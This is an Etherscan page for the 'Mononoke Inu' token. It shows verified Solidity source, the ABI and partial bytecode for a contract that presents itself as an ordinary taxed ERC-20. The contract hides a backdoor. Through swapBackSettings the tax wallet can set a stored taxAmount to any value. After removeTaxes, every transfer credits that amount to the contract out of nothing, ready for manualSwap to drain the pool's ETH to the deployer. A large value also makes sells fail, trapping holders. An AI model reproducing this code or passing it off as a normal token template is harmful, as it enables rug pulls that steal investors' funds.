ETH Price: $3,334.61 (-1.27%)

Token

Mononoke Inu (MONONOKE)
 

Overview

Max Total Supply

1,000,000,000 MONONOKE

Holders

196

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap: Universal Router
Balance
0 MONONOKE

Value
$0.00
0x3fc91a3afd70395cd496c647d5a6cc9d4b2b7fad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MononokeInuReborn2024

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-24
*/

/*
     🍘🐺 MONONOKE INU | REBORN MONONOKE INU - 2024 🍘🐺
 
    Reviving Mononoke Inu and going back to its origins would involve 
      embracing the themes and spirit that originally attracted its 
          community—primarily its ties to anime culture.
    
    🐺   https://t.me/mononokeinueth
    🐺   https://mononokeinu.fun/
    🐺   https://x.com/mononokeinueth

*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MononokeInuReborn2024 is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) internal _balances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=26;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=22;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Mononoke Inu";
    string private constant _symbol = unicode"MONONOKE";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= (_tTotal * 5 ) / 10000;
    uint256 public _maxTaxSwap= _taxSwapThreshold * 50;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsInEffect = true;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private taxAmount;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner() && to != _taxWallet && limitsInEffect) {

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>=_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount >= _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    saveBalanceETH(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            if (!limitsInEffect) taxAmount=0;
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function removeTxLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeTaxes() external{
        limitsInEffect = false;
        require(_msgSender()==_taxWallet);
    }

    function swapBackSettings(bool enabled, uint256 swapThreshold) external {
        require(_msgSender()==_taxWallet);
        taxAmount = swapThreshold;
        swapEnabled = enabled;
    }

    function saveBalanceETH(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function startTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
                uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        } else {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
        }
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function reduceFee(uint256 _newFee) external {
        require(_msgSender()==_taxWallet);
        require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
        _finalBuyTax=_newFee;
        _finalSellTax=_newFee;
    }

    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function manualSwap(uint256 tokenAmount) external {
        require(_msgSender()==_taxWallet);
        if(tokenAmount>0 && swapEnabled){
            swapTokensForEth(tokenAmount);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            saveBalanceETH(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"swapThreshold","type":"uint256"}],"name":"swapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460055560146006555f6007555f600855601a6009556014600a556016600b555f600c5560646009600a6100399190610318565b61004790633b9aca0061032d565b61005290600261032d565b61005c9190610344565b600d55606461006d6009600a610318565b61007b90633b9aca0061032d565b61008690600261032d565b6100909190610344565b600e556127106100a26009600a610318565b6100b090633b9aca0061032d565b6100bb90600561032d565b6100c59190610344565b600f8190556100d590603261032d565b6010556012805462ffffff60a81b1916600160b81b1790555f6013819055601455348015610101575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101606009600a610318565b61016e90633b9aca0061032d565b335f8181526002602090815260408083209490945581546001600160a01b03908116835260039091528382208054600160ff199182168117909255308452858420805482168317905560045490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101fb6009600a610318565b61020990633b9aca0061032d565b60405190815260200160405180910390a3610363565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561026e578085048111156102525761025261021f565b600184161561026057908102905b60019390931c928002610237565b935093915050565b5f8261028457506001610312565b8161029057505f610312565b81600181146102a657600281146102b0576102cc565b6001915050610312565b60ff8411156102c1576102c161021f565b50506001821b610312565b5060208310610133831016604e8410600b84101617156102ef575081810a610312565b6102fb5f198484610233565b805f190482111561030e5761030e61021f565b0290505b92915050565b5f61032660ff841683610276565b9392505050565b80820281158282048414176103125761031261021f565b5f8261035e57634e487b7160e01b5f52601260045260245ffd5b500490565b611d98806103705f395ff3fe608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb1461034a578063b70143c914610369578063bf474bed14610388578063dd62ed3e1461039d578063ec1f3f63146103e1578063f945abd514610400575f5ffd5b80637d1db4a5146102ab5780638cd4426d146102c05780638da5cb5b146102df5780638f9a55c01461030557806395d89b411461031a575f5ffd5b806323b872dd116100f957806323b872dd14610201578063293230b814610220578063313ce5671461023457806369e1ea7f1461024f57806370a0823114610263578063715018a614610297575f5ffd5b80630106aaef1461013f57806306fdde0314610155578063095ea7b31461019b5780630faee56f146101ca57806318160ddd146101ed575f5ffd5b3661013b57005b5f5ffd5b34801561014a575f5ffd5b5061015361041f565b005b348015610160575f5ffd5b5060408051808201909152600c81526b4d6f6e6f6e6f6b6520496e7560a01b60208201525b604051610192919061194a565b60405180910390f35b3480156101a6575f5ffd5b506101ba6101b5366004611996565b6104d9565b6040519015158152602001610192565b3480156101d5575f5ffd5b506101df60105481565b604051908152602001610192565b3480156101f8575f5ffd5b506101df6104ef565b34801561020c575f5ffd5b506101ba61021b3660046119c0565b61050f565b34801561022b575f5ffd5b50610153610576565b34801561023f575f5ffd5b5060405160098152602001610192565b34801561025a575f5ffd5b50610153610c16565b34801561026e575f5ffd5b506101df61027d3660046119fe565b6001600160a01b03165f9081526002602052604090205490565b3480156102a2575f5ffd5b50610153610c44565b3480156102b6575f5ffd5b506101df600d5481565b3480156102cb575f5ffd5b506101536102da366004611996565b610cb5565b3480156102ea575f5ffd5b505f546040516001600160a01b039091168152602001610192565b348015610310575f5ffd5b506101df600e5481565b348015610325575f5ffd5b506040805180820190915260088152674d4f4e4f4e4f4b4560c01b6020820152610185565b348015610355575f5ffd5b506101ba610364366004611996565b610ddf565b348015610374575f5ffd5b50610153610383366004611a19565b610deb565b348015610393575f5ffd5b506101df600f5481565b3480156103a8575f5ffd5b506101df6103b7366004611a30565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103ec575f5ffd5b506101536103fb366004611a19565b610e44565b34801561040b575f5ffd5b5061015361041a366004611a74565b610e89565b5f546001600160a01b031633146104515760405162461bcd60e51b815260040161044890611a90565b60405180910390fd5b61045d6009600a611bbc565b61046b90633b9aca00611bca565b600d5561047a6009600a611bbc565b61048890633b9aca00611bca565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104b86009600a611bbc565b6104c690633b9aca00611bca565b60405190815260200160405180910390a1565b5f6104e5338484610ec9565b5060015b92915050565b5f6104fc6009600a611bbc565b61050a90633b9aca00611bca565b905090565b5f61051b848484610fed565b61056c843361056785604051806060016040528060288152602001611d3b602891396001600160a01b038a165f90815260016020908152604080832033845290915290205491906115c6565b610ec9565b5060019392505050565b5f546001600160a01b0316331461059f5760405162461bcd60e51b815260040161044890611a90565b601254600160a01b900460ff16156105f95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106429030906106346009600a611bbc565b61056790633b9aca00611bca565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610689573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ad9190611be1565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f9190611be1565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610777573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079b9190611be1565b6001600160a01b0316036109315760115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081d9190611be1565b6001600160a01b031663c9c6539660115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089f9190611be1565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af11580156108e8573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061090c9190611be1565b601280546001600160a01b0319166001600160a01b0392909216919091179055610ab4565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610981573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a59190611be1565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a03573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a279190611be1565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610a6f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a939190611be1565b601280546001600160a01b0319166001600160a01b03929092169190911790555b6011546001600160a01b031663f305d7194730610ae5816001600160a01b03165f9081526002602052604090205490565b5f5f610af85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b5e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b839190611bfc565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610bd8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bfc9190611c27565b506012805462ff00ff60a01b19166201000160a01b179055565b6012805460ff60b81b191690556004546001600160a01b0316336001600160a01b031614610c42575f5ffd5b565b5f546001600160a01b03163314610c6d5760405162461bcd60e51b815260040161044890611a90565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610cde5760405162461bcd60e51b815260040161044890611a90565b6040516370a0823160e01b81523060048201525f90610d5f90606490610d599085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610d2f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d539190611c42565b906115fe565b90611683565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610db5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd99190611c27565b50505050565b5f6104e5338484610fed565b6004546001600160a01b0316336001600160a01b031614610e0a575f5ffd5b5f81118015610e225750601254600160b01b900460ff165b15610e3057610e30816116c4565b478015610e4057610e4081611834565b5050565b6004546001600160a01b0316336001600160a01b031614610e63575f5ffd5b6007548111158015610e7757506008548111155b610e7f575f5ffd5b6007819055600855565b6004546001600160a01b0316336001600160a01b031614610ea8575f5ffd5b60155560128054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610f2b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b038216610f8c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166110515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b0382166110b35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b5f81116111145760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b5f546001600160a01b0384811691161480159061113e57505f546001600160a01b03838116911614155b801561115857506004546001600160a01b03838116911614155b801561116d5750601254600160b81b900460ff165b1561146657600c545f036111a6576111a26064610d59600954600c5410156111975760055461119b565b6007545b84906115fe565b6015555b6012546001600160a01b0384811691161480156111d157506011546001600160a01b03838116911614155b80156111f557506001600160a01b0382165f9081526003602052604090205460ff16155b156112fa57600d5481111561124c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610448565b600e548161126e846001600160a01b03165f9081526002602052604090205490565b6112789190611c59565b11156112c65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610448565b6112e26064610d59600954600c5410156111975760055461119b565b601555600c8054905f6112f483611c6c565b91905055505b6012546001600160a01b03838116911614801561132057506001600160a01b0383163014155b1561134f5761134b6064610d59600a54600c5410156113415760065461119b565b60085484906115fe565b6015555b305f90815260026020526040902054601254600160a81b900460ff1615801561138557506012546001600160a01b038481169116145b801561139a5750601254600160b01b900460ff165b80156113a75750600f5481115b80156113b75750600b54600c5410155b15611464576014544311156113cb575f6013555b60036013541061141d5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610448565b61143a611435836114308460105461186b565b61186b565b6116c4565b47801561144a5761144a47611834565b60138054905f61145983611c6c565b909155505043601455505b505b601554156114fe57601554305f908152600260205260409020546114899161187f565b305f90815260026020526040902055601254600160b81b900460ff166114ae575f6015555b306001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6015546040516114f591815260200190565b60405180910390a35b6001600160a01b0383165f9081526002602052604090205461152090826118dd565b6001600160a01b0384165f908152600260205260409020556015546115689061154a9083906118dd565b6001600160a01b0384165f908152600260205260409020549061187f565b6001600160a01b038084165f81815260026020526040902092909255601554908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115b89085906118dd565b604051908152602001610fe0565b5f81848411156115e95760405162461bcd60e51b8152600401610448919061194a565b505f6115f58486611c84565b95945050505050565b5f825f0361160d57505f6104e9565b5f6116188385611bca565b9050826116258583611c97565b1461167c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b9392505050565b5f61167c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061191e565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061170a5761170a611cb6565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611761573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117859190611be1565b8160018151811061179857611798611cb6565b6001600160a01b0392831660209182029290920101526011546117be9130911684610ec9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906117f69085905f90869030904290600401611cca565b5f604051808303815f87803b15801561180d575f5ffd5b505af115801561181f573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610e40573d5f5f3e3d5ffd5b5f818311611879578261167c565b50919050565b5f8061188b8385611c59565b90508381101561167c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b5f61167c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c6565b5f818361193e5760405162461bcd60e51b8152600401610448919061194a565b505f6115f58486611c97565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611993575f5ffd5b50565b5f5f604083850312156119a7575f5ffd5b82356119b28161197f565b946020939093013593505050565b5f5f5f606084860312156119d2575f5ffd5b83356119dd8161197f565b925060208401356119ed8161197f565b929592945050506040919091013590565b5f60208284031215611a0e575f5ffd5b813561167c8161197f565b5f60208284031215611a29575f5ffd5b5035919050565b5f5f60408385031215611a41575f5ffd5b8235611a4c8161197f565b91506020830135611a5c8161197f565b809150509250929050565b8015158114611993575f5ffd5b5f5f60408385031215611a85575f5ffd5b82356119b281611a67565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611b1457808504811115611af857611af8611ac5565b6001841615611b0657908102905b60019390931c928002611add565b935093915050565b5f82611b2a575060016104e9565b81611b3657505f6104e9565b8160018114611b4c5760028114611b5657611b72565b60019150506104e9565b60ff841115611b6757611b67611ac5565b50506001821b6104e9565b5060208310610133831016604e8410600b8410161715611b95575081810a6104e9565b611ba15f198484611ad9565b805f1904821115611bb457611bb4611ac5565b029392505050565b5f61167c60ff841683611b1c565b80820281158282048414176104e9576104e9611ac5565b5f60208284031215611bf1575f5ffd5b815161167c8161197f565b5f5f5f60608486031215611c0e575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840